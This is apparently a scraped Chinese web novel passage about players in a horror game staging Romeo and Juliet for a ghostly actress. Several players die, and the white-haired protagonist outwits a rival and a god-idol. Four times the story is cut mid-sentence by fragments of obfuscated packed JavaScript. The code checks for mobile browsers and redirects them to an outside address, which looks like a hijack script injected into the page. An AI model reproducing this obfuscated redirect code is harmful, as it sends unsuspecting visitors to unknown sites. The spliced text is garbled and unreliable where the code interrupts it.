作为距离朱丽叶最近的玩家之一,保洁阿姨竟然出奇地冷静,给朱丽叶穿戴配饰的动作,就和给垃圾桶套垃圾袋一样利索。 另外两个玩家就不冷静了,剧烈的腐臭味和恐怖的骷髅外表,让饰演朱丽叶母亲和朱丽叶奶娘的玩家,差点把尿都吓到裤子里。 救命啊,他们真的相信了主播啊,还以为朱丽叶是大美女啊,好不容易抢到的角色啊! 偏偏他们还要说台词。 奶娘唠唠叨叨,台词一大堆。 母亲则是威严令色,告诉女儿今天帕里斯伯爵已经求婚,要来晚宴找她。 朱丽叶在奶娘、母亲、侍女的陪同下,飘飘然离开了闺房。 “我觉得演母亲那个要遭。”柜子说,“她有句台词说错了。” “还行吧,整体没错,就是慌了点。”花瓶说,“不会一上来就苛求台词的。” 柜子催促:“那你可以下来了吗?你要踩我到什么时……” “嘘!小心她们回头。” 花瓶——或者说、站在柜子顶上的花瓶——义正辞严地拒绝了这个提议。 没错,为了呈现【一个脆弱的花瓶】,陈弦雨坚信花瓶的最佳摆放位置,应该在柜子的头顶。 17. (已重写)罗密欧之死 这大概是李混元人生中最耻辱的一天。 “一个昂贵、美丽、又脆弱的花瓶,怎么能放在随手就会被人打翻的地板上呢?”上台之前,花瓶神采奕奕地说着,好像在提醒他,这世上有人为了藏一瓶红酒都要造真假密室防止失窃。 脆弱的古董花瓶,当然要陈列在只可远观不可触及的地方。 柜子顶部,多好的选择啊。 既能体现花瓶的脆弱,还能体现柜子的牢固。 “如果颁发最佳表演奖,将角色特征呈现得最好的肯定是我们。” 花瓶就这么理直气壮地踩到了柜子头上。 李混元甚至找不出反驳的理由。 第一幕舞台还在继续,朱丽叶的身影在猩红的幕布间飘移穿梭。 现在的剧情是,朱丽叶奉母亲的命令,去迎见母亲的指婚对象帕里斯伯爵。 但戴着假面的英俊青年罗密欧,更早地遇到了她。 两人起舞,歌唱,一见钟情。 柜子和花瓶的目光远远地跟随着朱丽叶的身影。 柜子甚至大着胆子给自己转了个面向。 这一转,花瓶险些没站稳,他不满地跺了跺脚:“你可小心点,柜子先生,别把我摔了。” “那你下去啊。”柜子又恶狠狠转了一百八十度。 结果惹得花瓶一脚跺在他的脑门上,“别转了!小心柜子散架!” “你站我头上我才会散架吧!” “闭嘴吧,柜子是不会说话的,你的人设都要崩完了。” “花瓶也不会跺脚啊!!” “我这是正常的摇晃。”花瓶理所当然,“你听听,舞台上的低音炮多么震撼,花瓶在高处适当摇晃才是正常表现哦。” 说着,花瓶还随着鼓点踩起了节拍。 一脚,两脚,三四五六七八脚。 每一脚都精准踩在他的脑壳上。 李混元简直要气死了。 绝对是陈白衣!绝对是他!这世上没有第二个人能踩到他头上拉屎!! 既然是他,李混元决定套一点信息。 看看他已经分析到哪里了。 柜子于是清了清嗓子:“我在想,她的心愿真的是一场完美的表演吗?毕竟,日记本上没有明确写过她的愿望,喇叭给的任务提示也是语焉不详。” “柜子先生不知道?” “不知道啊,还望赐教。” “还有两个可能。”花瓶得意地说,“作为一个演员,她与歌剧里的女主角朱丽叶同名,想必也是入戏很深,她在剧里上演着悲剧爱情,每表演一场就要伤心一次,常年累月的表演,或许让她陷入了无法出戏的忧郁里,最后在某种原因之下死后变成亡魂,死后还陷在悲剧之中,如果能给她一个圆满的结局,让她从悲剧中解脱,也许她的心愿就了了。” “有道理,另一种可能呢?” “另一种可能是相反的,她虽与朱丽叶同名,常年表演招牌剧目,这一路上她都是鲜花簇锦过来的,但她自己未必多么开心,是观众把她捧上了这个位置,她困在朱丽叶的人生里,是观众和剧院为了收益的双向选择,却也限制了她的戏路,有没有一种可能,她真正想表演的剧目,并不是这一出?” “你的意思,让她表演她自己喜欢的剧本?” “难道柜子先生不这么想?” 喇叭提示的时候,也只是说了【徘徊的朱丽叶啊,她每天0点都会登台表演,为了实现心愿,她会一定程度给予玩家配合与指导】这句话。 李混元觉得白毛分析的很对,因为他自己也是这么想的,只是目前信息太少了,他们两个都只能猜个大概,如果静观其变,再过几天,答案肯定能出来。 就看谁更早得出结论了。 太像了,还是太像了。 哪怕白毛当着他面供奉了破灭神像,用事实行动告诉他,这不可能是陈白衣那么骄傲的人会做出来的事。 可是,听听,白毛是怎么分析的?每一个点都在李混元的预判中。 再听听,白毛是怎么喊他的? 以前喊他蛇先生,现在喊他柜子先生,陈白衣就是这样,从来不肯好好喊别人的名字。 除了他还能是谁? 李混元就算一度心如死灰,也固执地还想试探。 他非要个答案不可。 “那你觉得,今天会死人吗?”柜子问。 花瓶却反问:“难道柜子先生心里没数吗?” 舞台中心,饰演罗密欧的蜜汁自信大叔已经和朱丽叶相会了。 大叔确实一点都不怕骷髅,也不在乎朱丽叶腐烂的面庞。 他甚至还趁着朱丽叶与他拥抱之时,将手伸向女主角镶满宝石的腰封。 陈弦雨就亲眼看着大叔从腰封上抠下一颗红宝石,揣进了自己兜里。 花瓶:“……” 柜子:“……” 大叔,大叔你是真不怕死啊! 朱丽叶还在深情款款唱着台词,对于戏服被破坏,她一点反应都没有,大叔于是更大胆了,一颗两颗三颗,又抠了好几颗宝石,不管真假,统统揣进兜里。 接着,大叔又盯上了骷髅脖子上的珍珠项链。 他当着朱丽叶的面,把项链解开摘下,戴在了自己的脖子上。 花瓶:“……” 柜子:“……” 见过胆大的,没见过如此胆大的。 大叔举起麦克风,已经高兴得篡改起唱词: /啊,我美丽的爱人啊 /你的宝石让我流连忘返 /你的珍珠让我心醉神迷 /啊,我亲爱的爱人啊 /告诉我,你的遗产放在何处? “我就说,大叔果然拥有丰富的游戏经验,跟大叔混没错!” 在宴会上跳舞的玩家悄悄和同伴说着,眼中都是崇拜的色彩。 大叔仍然安然无恙,他与朱丽叶共舞着,如两只绚烂的蝴蝶飞舞在五光十色的宴会场中。 有人也想学大叔薅宝石,但朱丽叶一靠近,那恐怖的面容与腐臭的异香,又令人心惊胆战,不敢上前。 还有人被吓得节节后退,崇拜大叔归崇拜,他们可没有如此“游戏经验丰富”的胆子。 朱丽叶一边跳舞,一边歌唱,一边踩着节拍,翩翩飞跃过在场每一个玩家的面前。 江屑刚表演完小丑抛接球,正要表演小丑抛香蕉。 冷不防一个硕大的腐烂头骨凑到了果盘面前。 江屑:“……救、” 救命啊妈妈还没说出口,朱丽叶的脸离他更近了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13361812|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两个巨大的空洞的眼眶,死死盯着江屑这张小丑的大花脸,好像要从他脸上盯出一个洞来。 在极度的害怕之下,江屑一个字都叫不出来,简直被定在了原地。 鼻子对鼻尖,朱丽叶已经快要把脸贴到了小丑的脸上。 一股冷冽的、又带着香味与苦味的臭气,在极近的距离下,从骷髅的鼻孔里喷到了江屑的脸上。 江屑吓得都快昏过去了,救命啊,肯定是自己妆容不对啊,笑脸画成了哭脸被发现了啊,早知道就不让花瓶人给他改妆了啊! 花瓶人,害我!! 几个饰演贵族的玩家看着这一幕,指指点点,掩嘴窃笑。 “谁让他不跟我们玩,要被女鬼吃掉咯。” “哈哈,不听大叔的,遭殃了吧。” “朱丽叶是贵族,肯定对贵族更友好啊,你看大叔,演她老公,薅她宝石都没事,我们演贵族,随便打扮打扮,随便跳个舞,她对我们多宽容啊。” “你们看,大叔的假发掉了!” 因为跳舞的动作太大,发胶又不牢固,大叔本来就敷衍着戴的头套,一出汗,头套一滑,就从脑袋上掉了下来。 大叔索性就把假发踢到一旁,反正,又没什么事。 那些化妆化一天的人,还不肯和他玩,不肯听他话的人,他现在觉得他们都是傻子。 “那看来戏服也不用穿了,热死了。” “就是嘛,和化妆有个一毛钱关系,我一个大男人,画这么重的妆,真恶心。” “大叔说的对啊,抢到身份高贵的角色,比什么都重要。” “小丑真可怜,那么卖力也不过是个小丑,在贵族眼里就是贱命一条啊。” “哈哈哈,明天我也要演罗密欧,朱丽叶浑身的宝石可都是古董啊,拿出去卖,一颗起码七位数!” “一人演一天吧我们,一起发财!” 说着,这些扮演宴会贵族的玩家们,纷纷脱下了厚重闷热的戏服。 还有好几个人把假发头套也扯了下来,丢到了小丑的果盘里,朱丽叶刚刚离开,并没有对江屑做什么,只是极近距离地看了他一会,让江屑吓得半死,冷汗湿透了小丑服。 江屑回过神来,看到果盘里多出来的一堆假发,刚要说什么,宴会的音乐戛然而止。 第一幕,终。 猩红幕布合上,在众人尚未反应过来之时,视线就被一片刺目的红光所淹没。 像要把灵魂都灼穿的红光之中,一声又一声的惨叫响了起来。 那是玩家被杀死的声音。 可是,没有人能看得见发生了什么,或者,正在发生什么。 血一样的红光占据了所有的视野。 而最令人熟悉的某个正在凄厉惨叫的嗓门,正是饰演罗密欧的自信大叔。 惨叫持续了很久,又好像只是极短的一瞬。 人们甚至来不及决定是否要在失去视野的情况下、不顾危险地去救人。 红光已经消失了,幕布重新拉开。 花瓶、柜子、江屑、他们所见的,就是大叔的尸体,和部分玩家的尸体一起,一个个死不瞑目地躺在地上,比幕布更猩红的鲜血在舞台上横流了一地。 朱丽叶的身影已经不见了,喇叭却在此刻重新响起—— 18. (已重写)DAY_1917 死一般的寂静里,喇叭的机械音显得格外突兀。 【在惆怅的叹息中,剧团结束了今夜的表演。】 【很遗憾,朱丽叶的心愿没有实现,在明夜的同一时间,她将重回舞台。】 【请玩家们再接再厉。】 【目前玩家存活:25人】 【目前进度:第二天·凌晨】 【友情提示:闭幕后的歌剧院是亡者的宴会场,在天亮之前,只有演员宿舍才能为生者提供庇护。】 喇叭结束,场中重新陷入死一般的寂静。 幽幽的血泊里,珍珠和宝石从罗密欧的衣袋里滚落出来,散了一地。 没人去捡。 江屑的手里还端着果盘,果盘上还放着他们的假发。 一顶,两顶,金的,棕的,长的,短的,卷的,乱的,好像还残留着他们头皮的温度。 他们都已经死了。 脖子折断,嘴巴大张,双眼圆瞪,眼眶欲裂,临死前好像看见了一生中最可怕的事物。 包括饰演罗密欧的大叔在内,场上一共12具尸体。 “他们……他们……” 终于有个玩家弱弱地开口了。 “他们好像有个共同的特点。” 在场稍微有点脑子的,都已经发现了。 12具尸体,5具没戴假发,3具没穿戏服,2具没化妆,剩下2具虽然妆容齐全,但是一个假发戴错了,一个戏服穿错了,和剧照上的样子不一样。 “所以,装扮和妆容不对的人,都会死吗?” 有人颤着声音总结道。 “讲台!讲台出现了!” 又有人试图迈开灌铅般沉重的双腿,因为舞台前方的演讲台不知何时出现了,但他面对满地尸体,仍是惶恐得走不动路。 染血的日记本,静静地躺在讲台上。 江屑离讲台最近,他心有余悸地摸了摸自己脸上的两条宽面条泪,如果和剧照不一样就会死的话,他也应该死了啊。 所以其实应该不是剧照,是角色特征对吗? 花瓶人轻描淡写的两笔油彩,救了他的命? 江屑翻开了日记本。 他很快就发现日记本上染血的页面里,多了一页的字迹。 这一次,字迹是清晰的。 [DAY_1917] 新婚第二天,我又要登台了。 那就再找一个孩子表演我的爱人吧……啊,开什么玩笑! 粗劣的装扮怎能配得上我们的舞台? 你们,你们……为什么你们都在亵渎舞台? 哦,我想起来了,没关系,孩子们,我们重新开始。 来,让我教教你们,从化妆开始…… 日记读完,江屑不由地环顾四周,试图在场内寻找他的救命恩人。 花瓶人预料的没错,果然是表演态度之类的游戏机制。 所有态度不好、亵渎舞台的玩家,全死了。 好厉害啊,花瓶人。 江屑在朱丽叶的闺房布景里,找到了柜子顶上的花瓶人。 花瓶正在被柜子从柜子顶上甩下去。 “别吵。”陈弦雨一脚跺在李混元的肩膀上,“我还有个地方没想明白。” 柜子果然不动了,“什么?” “不知道。” “?” “我总觉得我漏了什么信息,但……一时半会想不起来。” 正常情况下,陈弦雨觉得自己不至于想不起来。 但长期滥用止痛药,让他的记忆能力确实衰退严重,再加上舞台剧闭幕后,越发刺骨的室温,他的身体承受不住这种温度,仅剩的一点力气都用来强忍住胸腔的疼痛,他不得不宣布:“我好像爬不下去了。” “……废物。” 李混元走出柜子,将花瓶挪到平地上。 “还是想不起来。”陈弦雨倒了一把药给自己吃下去,一头白毛底下的脸色很不好。 “很重要的信息?” “不知道……” “如果你不想死在这里的话,我建议你先回宿舍。”李混元看了眼他的自制腕表,“现在室温零下20度,室温还在下降。” “亡者的宴会场吗……” 放到从前,陈弦雨绝对会放任好奇心,让自己留下来,看看亡者的宴会有多少有趣的东西。 但如今…… 浓重的雾气从四面八方的画框里弥散出来,以肉眼可见的速度覆盖了观众席, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13361813|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又向舞台蔓延而来。 至冷至阴的雾气中,已经有一些浓雾凝成了影子,恍如人身。 那是亡者死时的模样。 他们就像习以为常的宾客一样,一些人有条不紊地坐在了观众席上,一些人正向舞台飘来。 玩家们前一刻还在被红光杀人惊吓,后一刻又在为了日记内容震惊,劫后余生的庆幸还没过去,就迎来了生者不该看见的景象。 “快跑啊草!记得喇叭的提醒吗!舞台闭幕后,就不是活人待的地方了!” “去哪啊?喇叭说去哪啊?” “宿舍啊!快跑!” 顿时,玩家争先恐后向宿舍区逃命。 狭窄的后台通道里,有人摔跤,有人绊倒,有人破口大骂。 雾气已经覆盖了整个舞台,还在向后台涌去。 陈弦雨和李混元走在逃命的玩家队伍的最后。 在滚滚的雾气里,陈弦雨回头看去,舞台上的12具尸体,似乎都已经自己站了起来。 他们不顾流干血液的身体,也不顾被折断了脖子的歪歪扭扭的脑袋,他们若无其事地重新戴上假发,重新穿好戏服,重新捧起地上的血液,涂上脸庞,给自己一张艳丽的妆容。 雾气越来越重,如水银泻地,滴水成冻。 在重新响起的音乐里,12具尸体自发排成一列,他们对着观众席款款鞠躬,为亡者的宴会场开始他们的即兴表演。 “啊,好有意思……”陈弦雨发出了羡慕的声音,是羡慕那些彻底解脱的尸体,还是羡慕过去时光里的自己,恐怕他自己也说不清。 李混元已经踹开一扇宿舍门了,见他没动,又跑回来推了他一把。 “不想死的话赶紧走!” 陈弦雨被推进了一间人满为患的宿舍里。 飞滚的冷雾就差一点就要卷上他们的脚裸。 陈弦雨遗憾地叹了口气。 但他很快就不遗憾了。 因为在宿舍明晃晃的灯光下,他此时清楚地看到——蛇皮的脖子,好像变长了? 哦,不是脖子变长,是肩膀变矮了。 不但变矮了,还矮得一高一低。 不是,谁踩的啊? 这也太过分了吧。 19. (已重写)江屑 宿舍人满,却静悄悄的。 四张床,四个人。 陈弦雨首先看到了他的秃头老板,老板面无血色,坐在床边,低着头,抓着毛巾,一遍遍擦拭着他的宝蓝色戏服,戏服上,红色渗透着蓝色,格外惊心怵目。 按照距离推断的话,他饰演罗密欧的好友,距离男主角最近,戏服上的红色,是罗密欧被杀死时飞溅的血。 隔壁床铺上,瘫着惊魂未定的小丑先生,他把日记本带了回来,搁置一旁,只顾拿着毛巾,反复擦拭自己的鞋,崭新的AJ鞋底,也踩满了玩家横流的血。 在小丑的对面,是志怪小说家,好像一夜的惊魂表演不但没有令他害怕,反而灵感迸发,他饰演诗人,也在舞台中心位置,脸上被溅了很多血,却毫不在意,只想抓住灵感“奋笔疾书”,以一种正常人看不懂的精神状态,正在手机里疯狂记录。 再过去的床铺上,躺着呼呼大睡的保洁阿姨,她也没有被血光杀人的恐怖场面影响,她连戏服都没脱,累了就躺,倒头就睡,没有什么能打败她的生物钟。 至于之前的实习生和维修工,并不在这个宿舍里。 说实话,这里已经满了,陈弦雨和李混元也应该去别的宿舍找空位。 但走廊已被冷雾填满,他们天亮前出不去了。 “呵。” 身旁响起一身嘁笑,陈弦雨知道,是蛇皮在等着看他的好戏。 没位置了,只能睡地上过一夜了,陈白衣那么洁癖的人,怎会忍受睡在这种环境里——蛇皮肯定是这么想的。 蛇皮在逼迫他坦诚。 陈弦雨无意隐瞒,却也无意坦诚,他和蛇皮又不是朋友,说熟也熟,当年在世界论坛上他把蛇皮压成万年老二永远抬不起头的那种熟。 说不熟也不熟,才见过两面的人,哪怕同样的脑子让他们很多时候一个眼神就能清楚对方的想法,但现在他尚无法得知蛇皮为何给黄道当狗,他也不想让蛇皮知道他身怀神骨,他能欺骗所有的神还不会被污染。 他们之间互有隐瞒,都未到坦诚的时候。 如果可以的话,他情愿和蛇皮是陌路人。 他连浮光都可以不要。 只是他如今沉疴缠身,难以行动,他在这个游戏里,必须利用蛇皮的执着和小贼的单纯,才能将游戏结局掌控在自己的手里。 所以他会刻意在某些时候,让蛇皮觉得,他就是故人。 又刻意在某些时候,亲手打碎蛇皮的判断。 来来回回,钓鱼一样。 蛇皮这个人,必须利用他对陈白衣的执念,才能将他的作用发挥到最大价值。 伸长了脖子的蛇皮才是好用的蛇皮。 为此,陈弦雨觉得自己承受一些代价,也无所谓。 花瓶和柜子虽然干净,他今夜也睡不成,这里晚上的温度都在零度以下,没有任何取暖设备,不给他一床被子的话,他的身体扛不住的。 他决定再想想办法。 “老葛,你距离最近,你看到红光出现的时候,他们是怎么死的吗?” 陈弦雨一边走向江屑的床铺,一边问他的秃头老板。 老板茫然地抬头看向他,好一会儿,才聚焦了视线,“不,我看不到。”他说,“只听到惨叫,我什么都看不到,我回过神来的时候,他们就已经死了。” 陈弦雨点点头,然后在小丑的床尾拿起了那本染血的日记本。 从头翻到尾,除了已经被公布的今天多出来的DAY_1917,没有更多的信息。 “要来一杯吗?”李混元坐在横倒的柜子上,一双狭长的蛇眸似笑非笑。 陈弦雨看到蛇皮正从怀里掏出先前剩下的半瓶红酒,来自啸鹰酒庄的顶级馈赠,在寒冷的夜里,能助眠,能暖身,蛇皮对他晃了晃酒瓶,灯光下的笑容,是意味不明的神色。 “不要。”陈弦雨拒绝了,把日记本放回去,忽然想到什么,又拿了回来,火速翻开。 “……咦?” 他先前没有留意的日期,却给了他一个绝对不是巧合的判断。 DAY_1917,是今天出现的内容,用来告诉玩家今天的游戏规则是“不可亵渎舞台”——俗称马后炮。 人都死完了,才告诉答案。 所以重点并非在日记内容本身,而是日记的日期。 游戏限时七天,如果一天给一页信息的话,从DAY_1917到DAY_1923,七天时间,正好游戏结束。 而后面已知的日记里,又正好是从DAY_1924开始的内容,朱丽叶诉说着自己再也表演不好这出歌剧了,随着日记的内容进展,可以看出她的精神状态日渐崩溃,直到DAY_1998的时候,她写下了最后一篇。 在先前小贼公布日记的时候,大家都以为朱丽叶是写完了最后一篇日记才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13361814|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死去的。 这是正常的思考。 陈弦雨当时也没有多想。 但,不是的。 今夜看到朱丽叶的真身之后,陈弦雨才意识到,最后一篇日记,是对于腐烂的写实,而不是对死亡的想象。 日记的第1998天写着: /蜘蛛爬上我的裙摆,蝙蝠停在我的肩膀。 /乌鸦亲吻我的长发,腐蝇落满我的眼眶。 /只有我,还在表演,旋转,跳舞,不停歇…… 这和朱丽叶出场的形象简直一模一样。 说明朱丽叶写下这篇日记的时候,她就已经是这个样子了。 说明她在更早的时候就已经死了。 一个活人从身死到腐烂成骷髅,在寒冷的温度里,差不多三个月时间。 如此倒推起来…… “怎么了?”李混元提着酒瓶走过来。 “没什么。”陈弦雨不动声色地合上日记本。 然后抬眸看向小丑,目光落在小丑脸上的两条滑稽的宽面条泪上。 江屑刚擦完鞋,冷不防被看得浑身一凛。 不是吧,花瓶人还想打他鞋的主意? 还是想让他再去偷东西? 外面都是亡者的世界了,他可出不去。 江屑忍不住问:“怎么了?瞅我干啥?” 陈弦雨不说话,只是看着小丑,然后轻飘飘地“啧”了一声。 “哦,哦哦哦!”良心和脑子都在此刻回笼,江屑反应过来了,“你今天保了我一命,让床给你睡也是应该的,来来来,给你吧。” 说着,他识相地滚了下去,准备随便打个地铺睡觉。 确实很识相。 陈弦雨心情很好,问他:“小丑先生,怎么称呼你?” “江屑,一条大江的江,不屑一顾的屑。”江屑骄傲地说,“你不认识我吗?哦,看来你们都不认识我。” 他的脸上流露着浓浓的向往。 “我是陈白衣的校友啊,我们关系可好了。”江屑继续骄傲地说着,“想当年,陈白衣出门组队都要等我的档期,攻打要塞,他没我不行,他还亲口夸赞过,我是世界第一盗贼,是他最出色的伙伴。” “我告诉你们啊,我这么强的盗贼,别想驱使我再帮你们偷东西了。” 陈弦雨:“…………” 李混元:“……………………” 20. (已重写)名字 李混元冷笑:“想不到你当年还有这么愚蠢的‘校友’?” “?” 陈弦雨自己都不知道他有什么校友,他连高中都没读过。 他阴霾又孤独的少年时代,唯一给过他灿烂的人,也不过晏升而已。 他15岁结识晏升,17岁加入北十字,18岁升任总指挥官,19岁被组织开除流放。 他可笑的过去里,从未有过校友这种东西。 可江屑说起校友,那一脸怀念的模样,简直像真的一样。 这有点出乎陈弦雨的意料,没想到神权时代,堕落世界,还有这么崇拜他的小朋友,什么校友,什么关系好,大抵都是幻想,幻想得多了,就当真了。 “啊……柜子先生你在说什么?”陈弦雨用一种后知后觉的迟钝眼神看向李混元。 李混元也在盯着他。 “呵呵。”李混元皮笑肉不笑,“人家都把床铺让给你了,你还站着啊?你这废物身体都快站不住了吧,怎么,洁癖发作了?” “。” 可恶,不能让蛇皮得逞。 陈弦雨抱起被褥,抖掉了夹缝里的老鼠屎和饼干碎,然后将被褥丢给了躺着地上的江屑。 “你睡觉不要被子吗?” 在江屑困惑的目光里,陈弦雨弯下了腰,从小丑衣服的口袋里拿出了一副表演用过的扑克牌。 他有些嫌弃地忍受着扑克牌上的油污,从秃头老板的床铺旁,拿走了老板的传颂神神像。 陈弦雨把神像和扑克都放在地上,用一种无比虔诚的口吻说道:“伟大的传颂神啊,我将令人愉悦之物献给您,请您赐我一床崭新的、无菌的、温暖的、舒适的鹅绒被吧。” 一边许愿,一边满眼期待。 李混元震惊了,他不是白天还在供奉破灭神吗,怎么爬墙爬得如此丝滑! 供奉新的神祇会清空先前积累的虔诚,除非完全不在乎虔诚,或者陷入黄道女神的恐怖游戏里,只能乞求女神送他们出去……除此之外,没有信徒会做这种傻事。 李混元把陈白衣放到了前者的位置。 但无论怎样,只要和神进行交易,身体就会被打上标记。 和多个神做交易,身体就会打上多个标记。 陈白衣怎么可能忍受这种事?! 这种耻辱,比挑战他的洁癖还要严重一万倍。 在李混元陷入人生怀疑的时候,神像幽幽发光了。 一床崭新的、无菌的、温暖的、舒适的鹅绒被出现了。 随着愿望的兑现,扑克牌也正在消失,对于传颂神来说,这似乎正是令他愉悦之物。 但在扑克牌彻底被“收下”之前,陈弦雨眼疾手快地将牌抢了回来。 李混元:? 江屑:??? 江屑的眼珠子都快要看得掉下来了,见过会玩的,没见过这么玩的?? 他不怕被降下神罚吗? 神像果然迸发出了愤怒的光芒。 “喂。”江屑着急了,“你快放回去,你不能……” 陈弦雨却笑眯眯地,用一种谁也看不懂的精神状态,当着神像的面,将抢回来的扑克牌玩出了一套完美的潘多拉花切,纸牌在他修长的手指间仿佛拥有生命一般飞舞,江屑和李混元看得眼睛都花了。 “我陪你玩一把如何?”陈弦雨笑吟吟地问神像,却连敬语都不用了,“传颂神啊,你如此渴望愉悦,却连和你玩牌的人都没有,你自己拿走整副牌,又有什么愉悦可言呢,对不对,你同意的话,就闪烁两下,不同意的话,就闪烁一下。” 光芒闪了两下,传颂神似乎真的被勾起了兴趣。 “就玩最简单的斗地主好了。”陈弦雨随意地发起了牌,“相信我,比你一个人玩牌更快乐。” 神像真的收下了半副牌,用吐牌的方式和他玩了起来。 一人一神像,连着玩了几盘,各有输赢。 神像光彩熠熠,陈弦雨却开始打哈欠:“困了,我们下次再玩?” 神像闪了一下,不同意。 “可我真的好困哦。”陈弦雨一边发牌一边说,“这样吧,现在开始,你赢了,我就继续陪你玩,我赢了,我就拥有随时终止的权利,你不可以生气。” 神像闪了两下,同意。 “可是好冷哦,我想要个火盆。”才发了几张牌,他就发不动了,身体往后一仰,试图摆烂。 神像闪了好几下,陈弦雨的身边立刻出现了一个温暖的火盆。 “我今天还没吃饭。”又发了几张牌,发不动了。 立刻出现了一桌热腾腾的饭菜。 “我想吃烧鹅。” 吊着烧鹅的烤炉也出现了,烤的正好,滋滋冒油。 “我的床太旧了,我今天想睡新床。” 老旧发霉的床铺变成了焕然一新的样子。 “出差没带换洗衣服,我想要……” 一整个挂满新衣服的柜子出现在床边。 好了,陈弦雨终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13361815|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发完了牌,和传颂神玩了这一把,然后开局王炸,十二连对,一口气把牌丢完,作弊控牌装都不装了,一张牌都没给对方出的机会,直接就赢了。 “感谢招待,下次再玩。” 牌局才结束,牌都没整理,神像肚子里一把大小王好牌吐不出来,陈弦雨就像个拔x无情的渣男一样,抓起传颂神的神像,丢垃圾一样丢回了老板的床头。 神无法违背承诺,说了不许生气,他就不怕神像作祟。 在江屑和李混元瞠目结舌的注视下,陈弦雨美美吃了顿晚饭。 吃饱喝足,爬上崭新的床,睡进崭新的被窝里,他总算平复了社畜被迫出差的怨气。 传颂神,一个渴求愉悦事物的,与其他五神画风格格不入的邪神。 比他想象中的还要贪图玩乐。 似乎可以成为他打入六神核心的突破口。 但仔细一想,传颂神这个家伙,随性,散漫,享乐,贪玩,还没几个信徒,理论上,神的信徒越少,收到供奉就少,实力就越弱,这样的神,却还能在宇宙无数神祇之间竞争出列,在最后的六大势力之中立于不败,恐怕真正实力,也没有那么简单。 他还得找个机会,再试探一下传颂神的底牌。 如果王还在就好了,他还有很多的问题想问,他就不用一个人辛苦。 陈弦雨翻了个身,将王栖川的牌位轻轻抱在怀里。 “喂,你这就睡了吗?” 江屑的声音响起来,“你好像很厉害啊,连神像都能玩弄,还请我们吃晚饭,我说你……是故意的吗?你也很讨厌这群邪神?” 被子里的人迷迷糊糊“唔”了一声:“讨厌,每一个都讨厌。” “很好,我就知道你也是反神派。” 江屑早就看出来了,这个青年,苍白病容,弱不禁风,气质却格外干净,看不出他供奉过任何邪神的痕迹,就算供奉,恐怕也是一天换一家,把神像玩弄在鼓掌之间。 他可太馋这种人才了! 江屑继续敲被子,“我看你挺有能耐的,要不要加入我们废都,一起重铸陈白衣的理想啊?” “废都?”被子蠕动了一下,又安静了下去。 “废都就是废弃都市,是这些年我们反神派的集会中心,目前还在发展中。”江屑说道,“我是骨干成员,你要不要加入我们,你这种人才很难得啊,对了,你叫什么名字?” 话音刚落,更高大的阴影也覆盖了过来,李混元同样也等着这个答案。 21. (已重写)寒夜片语 “哎,你你你们干嘛!” 大概是被当头一个神像砸醒了,秃头老板冲了过来,“你们两个人,想挖我的墙角?” 江屑:“不是,我没有……” 老板怒容满面,蛇眼男就算了,看着还挺有钱的,这小丑是个什么玩意,一个毛都没长齐的愣头青也敢当他面来挖人了? “小陈是我公司的优秀栋梁。”老板粗声粗气,“你们想挖我的员工,也看看自己够不够格。” “啊呀,小……陈?”李混元的眼睛一亮。 他看了看被子,又看了看秃头,然后发出了意味深长的笑声。 想不到吧,陈白衣啊陈白衣,你自己千防万防,没想到会被一个草履虫破防吧。 李混元简直怀疑自己人生最扬眉吐气的一天要到来了。 “啊呀,小陈呀。”李混元伸手拍了拍被子,鹅绒被卷成一团,毫无声息,气死了吗,老脸丢完了吗,哈哈哈。 李混元已经高兴得要放鞭炮庆祝了,“来,这是给你介绍人才的礼物。”他掏出两张支票塞给秃头,“我对你这个员工很满意,我要聘请他来我公司上班,你放心,薪水起码给到他现在的一百倍。” 说着,李混元递出一张名片,名片上印着伏尔加李家的烫金家徽,秃头未必识货,但这份世界TOP10豪族的质感,沉沉甸甸,做不得假。 李混元又看了看被子的动静,仍然一动不动,里面的人就像睡着一样。 李混元都快要笑出声了。 “那……你看看他的简历?”秃头果然被名片震慑住了,他把手机相册翻到陈弦雨入职简历的一页,递了过来。 